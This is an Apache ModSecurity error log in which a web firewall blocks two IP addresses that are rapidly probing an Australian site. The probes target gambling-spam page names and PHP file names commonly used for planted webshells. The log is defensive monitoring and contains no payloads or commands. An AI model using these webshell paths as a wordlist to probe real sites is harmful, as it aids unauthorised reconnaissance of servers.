[Thu Apr 23 01:50:45.190186 2026] [:error] [pid 9085:tid 9104] [client 51.83.8.179:49996] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aekKdd-_-or9vQnlWnozCwAAAVE"]
[Thu Apr 23 01:50:47.752323 2026] [:error] [pid 6384:tid 6390] [client 51.83.8.179:49998] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aekKdz58M3t15ICeWHXSKAAAAMM"]
[Thu Apr 23 01:50:50.267815 2026] [:error] [pid 9085:tid 9088] [client 51.83.8.179:33156] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20168.aspx"] [unique_id "aekKet-_-or9vQnlWnozPwAAAUE"]
[Thu Apr 23 01:50:53.010961 2026] [:error] [pid 6344:tid 6351] [client 51.83.8.179:33164] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20auto.aspx"] [unique_id "aekKfUDOTF-pkQnDeUk_6QAAAAI"]
[Thu Apr 23 01:50:55.573273 2026] [:error] [pid 23776:tid 23795] [client 51.83.8.179:33176] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "aekKf7RExf-1pAbSeJtgfgAAAZE"]
[Thu Apr 23 01:50:58.092069 2026] [:error] [pid 6250:tid 6261] [client 51.83.8.179:33186] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aekKgg-iZeQkqmQVfj5LhQAAAEc"]
[Thu Apr 23 01:51:00.516507 2026] [:error] [pid 6384:tid 6399] [client 51.83.8.179:52236] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "aekKhD58M3t15ICeWHXSPgAAAMw"]
[Thu Apr 23 01:51:02.967977 2026] [:error] [pid 9085:tid 9096] [client 51.83.8.179:52246] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aekKht-_-or9vQnlWnozjwAAAUk"]
[Thu Apr 23 01:51:05.336904 2026] [:error] [pid 6344:tid 6366] [client 51.83.8.179:52258] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aekKiUDOTF-pkQnDeUlAEwAAABE"]
[Thu Apr 23 01:51:07.959308 2026] [:error] [pid 6344:tid 6355] [client 51.83.8.179:52274] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aekKi0DOTF-pkQnDeUlAHgAAAAY"]
[Thu Apr 23 01:51:10.459707 2026] [:error] [pid 9085:tid 9089] [client 51.83.8.179:46830] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aekKjt-_-or9vQnlWnozzgAAAUI"]
[Thu Apr 23 01:51:31.437305 2026] [:error] [pid 9085:tid 9094] [client 51.83.8.179:46844] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aekKo9-_-or9vQnlWno0PQAAAUc"]
[Thu Apr 23 01:51:33.953775 2026] [:error] [pid 23776:tid 23792] [client 51.83.8.179:33572] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aekKpbRExf-1pAbSeJtg-gAAAY4"]
[Thu Apr 23 01:51:36.478519 2026] [:error] [pid 6344:tid 6365] [client 51.83.8.179:33578] [client 51.83.8.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "aekKqEDOTF-pkQnDeUlANgAAABA"]
[Thu Apr 23 02:03:09.754735 2026] [:error] [pid 6344:tid 6369] [client 4.235.1.40:60067] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-kz.php"] [unique_id "aekNXUDOTF-pkQnDeUlDwgAAABQ"]
[Thu Apr 23 02:03:12.922032 2026] [:error] [pid 6344:tid 6358] [client 4.235.1.40:8975] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-kz.php"] [unique_id "aekNYEDOTF-pkQnDeUlDxAAAAAk"]
[Thu Apr 23 02:03:14.837312 2026] [:error] [pid 6250:tid 6276] [client 4.235.1.40:58223] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-kz.php"] [unique_id "aekNYg-iZeQkqmQVfj5OAgAAAFY"]
[Thu Apr 23 02:03:15.958031 2026] [:error] [pid 23776:tid 23782] [client 4.235.1.40:58873] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-kz.php"] [unique_id "aekNY7RExf-1pAbSeJtkXQAAAYQ"]
[Thu Apr 23 02:03:17.634591 2026] [:error] [pid 6344:tid 6356] [client 4.235.1.40:9088] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wmore1.php"] [unique_id "aekNZUDOTF-pkQnDeUlDyQAAAAc"]
[Thu Apr 23 02:03:18.876106 2026] [:error] [pid 9085:tid 9103] [client 4.235.1.40:8720] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wmore1.php"] [unique_id "aekNZt-_-or9vQnlWno9qgAAAVA"]
[Thu Apr 23 02:03:20.609603 2026] [:error] [pid 9085:tid 9100] [client 4.235.1.40:58850] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wmore1.php"] [unique_id "aekNaN-_-or9vQnlWno9sAAAAU0"]
[Thu Apr 23 02:03:22.372600 2026] [:error] [pid 9085:tid 9111] [client 4.235.1.40:23414] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wmore1.php"] [unique_id "aekNat-_-or9vQnlWno9swAAAVg"]
[Thu Apr 23 02:03:23.298132 2026] [:error] [pid 9085:tid 9098] [client 4.235.1.40:56994] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/saorix1.php"] [unique_id "aekNa9-_-or9vQnlWno9tQAAAUs"]
[Thu Apr 23 02:03:25.266033 2026] [:error] [pid 6250:tid 6257] [client 4.235.1.40:21866] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/saorix1.php"] [unique_id "aekNbQ-iZeQkqmQVfj5OCAAAAEM"]
[Thu Apr 23 02:03:26.914189 2026] [:error] [pid 6344:tid 6373] [client 4.235.1.40:56977] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/saorix1.php"] [unique_id "aekNbkDOTF-pkQnDeUlD3QAAABg"]
[Thu Apr 23 02:03:28.470193 2026] [:error] [pid 9085:tid 9097] [client 4.235.1.40:8608] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/saorix1.php"] [unique_id "aekNcN-_-or9vQnlWno9vgAAAUo"]
[Thu Apr 23 02:03:30.115920 2026] [:error] [pid 9085:tid 9087] [client 4.235.1.40:64278] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aekNct-_-or9vQnlWno9wgAAAUA"]
[Thu Apr 23 02:03:32.804602 2026] [:error] [pid 9085:tid 9107] [client 4.235.1.40:8480] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aekNdN-_-or9vQnlWno9ywAAAVQ"]
[Thu Apr 23 02:03:34.631069 2026] [:error] [pid 9085:tid 9102] [client 4.235.1.40:58120] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aekNdt-_-or9vQnlWno91wAAAU8"]
[Thu Apr 23 02:03:36.926079 2026] [:error] [pid 9085:tid 9111] [client 4.235.1.40:57501] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "aekNeN-_-or9vQnlWno95QAAAVg"]
[Thu Apr 23 02:03:38.609298 2026] [:error] [pid 6384:tid 6395] [client 4.235.1.40:9106] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "aekNej58M3t15ICeWHXYrQAAAMg"]
[Thu Apr 23 02:03:40.134311 2026] [:error] [pid 9085:tid 9101] [client 4.235.1.40:43030] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "aekNfN-_-or9vQnlWno97wAAAU4"]
[Thu Apr 23 02:03:42.534128 2026] [:error] [pid 9085:tid 9108] [client 4.235.1.40:33049] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "aekNft-_-or9vQnlWno9-wAAAVU"]
[Thu Apr 23 02:03:43.979855 2026] [:error] [pid 6344:tid 6356] [client 4.235.1.40:19216] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "aekNf0DOTF-pkQnDeUlD9QAAAAc"]
[Thu Apr 23 02:03:47.249186 2026] [:error] [pid 23776:tid 23782] [client 4.235.1.40:23887] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file-kikikoko.php"] [unique_id "aekNg7RExf-1pAbSeJtkcgAAAYQ"]
[Thu Apr 23 02:03:49.960773 2026] [:error] [pid 6344:tid 6349] [client 4.235.1.40:23920] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file-kikikoko.php"] [unique_id "aekNhUDOTF-pkQnDeUlEAAAAAAA"]
[Thu Apr 23 02:03:51.711923 2026] [:error] [pid 6252:tid 6334] [client 4.235.1.40:17892] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file-kikikoko.php"] [unique_id "aekNh-tGYuiYb1nWBpSFqQAAARY"]
[Thu Apr 23 02:03:55.932401 2026] [:error] [pid 6250:tid 6266] [client 4.235.1.40:21864] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file-kikikoko.php"] [unique_id "aekNiw-iZeQkqmQVfj5OKgAAAEw"]
[Thu Apr 23 02:03:58.467941 2026] [:error] [pid 23776:tid 23800] [client 4.235.1.40:27391] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-kikikoko.php"] [unique_id "aekNjrRExf-1pAbSeJtkegAAAZY"]
[Thu Apr 23 02:03:59.685758 2026] [:error] [pid 6344:tid 6364] [client 4.235.1.40:62423] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-kikikoko.php"] [unique_id "aekNj0DOTF-pkQnDeUlEFgAAAA8"]
[Thu Apr 23 02:04:00.706897 2026] [:error] [pid 6384:tid 6397] [client 4.235.1.40:46258] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-kikikoko.php"] [unique_id "aekNkD58M3t15ICeWHXYzQAAAMo"]
[Thu Apr 23 02:04:02.076162 2026] [:error] [pid 6344:tid 6353] [client 4.235.1.40:60079] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-kikikoko.php"] [unique_id "aekNkkDOTF-pkQnDeUlEGwAAAAQ"]
[Thu Apr 23 02:04:02.933970 2026] [:error] [pid 23776:tid 23783] [client 4.235.1.40:60038] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ganja.php"] [unique_id "aekNkrRExf-1pAbSeJtkgAAAAYU"]
[Thu Apr 23 02:04:03.796033 2026] [:error] [pid 9085:tid 9103] [client 4.235.1.40:27332] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ganja.php"] [unique_id "aekNk9-_-or9vQnlWno-OQAAAVA"]
[Thu Apr 23 02:04:04.665541 2026] [:error] [pid 9085:tid 9087] [client 4.235.1.40:27388] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ganja.php"] [unique_id "aekNlN-_-or9vQnlWno-PgAAAUA"]
[Thu Apr 23 02:04:05.429261 2026] [:error] [pid 9085:tid 9109] [client 4.235.1.40:29798] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ganja.php"] [unique_id "aekNld-_-or9vQnlWno-RAAAAVY"]
[Thu Apr 23 02:04:06.514058 2026] [:error] [pid 6384:tid 6393] [client 4.235.1.40:8921] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/doc.php"] [unique_id "aekNlj58M3t15ICeWHXY1wAAAMY"]
[Thu Apr 23 02:04:08.256711 2026] [:error] [pid 23776:tid 23800] [client 4.235.1.40:27343] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/doc.php"] [unique_id "aekNmLRExf-1pAbSeJtkhgAAAZY"]
[Thu Apr 23 02:04:18.814523 2026] [:error] [pid 9085:tid 9094] [client 4.235.1.40:32514] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/link.php"] [unique_id "aekNot-_-or9vQnlWno-eQAAAUc"]
[Thu Apr 23 02:04:20.068477 2026] [:error] [pid 6384:tid 6387] [client 4.235.1.40:48095] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/link.php"] [unique_id "aekNpD58M3t15ICeWHXY8AAAAMA"]
[Thu Apr 23 02:04:21.172214 2026] [:error] [pid 6344:tid 6363] [client 4.235.1.40:41088] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/link.php"] [unique_id "aekNpUDOTF-pkQnDeUlESgAAAA4"]
[Thu Apr 23 02:04:24.478826 2026] [:error] [pid 6384:tid 6402] [client 4.235.1.40:40523] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/link.php"] [unique_id "aekNqD58M3t15ICeWHXY-gAAAM8"]
[Thu Apr 23 02:04:27.633791 2026] [:error] [pid 9085:tid 9090] [client 4.235.1.40:8468] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dass.php"] [unique_id "aekNq9-_-or9vQnlWno-igAAAUM"]
[Thu Apr 23 02:04:28.723121 2026] [:error] [pid 9085:tid 9093] [client 4.235.1.40:9080] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dass.php"] [unique_id "aekNrN-_-or9vQnlWno-kQAAAUY"]
[Thu Apr 23 02:04:30.428992 2026] [:error] [pid 6251:tid 6293] [client 4.235.1.40:47383] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dass.php"] [unique_id "aekNrisFAzbyObL-SQ6uBgAAAIg"]
[Thu Apr 23 02:04:31.932319 2026] [:error] [pid 9085:tid 9094] [client 4.235.1.40:17840] [client 4.235.1.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dass.php"] [unique_id "aekNr9-_-or9vQnlWno-ogAAAUc"]
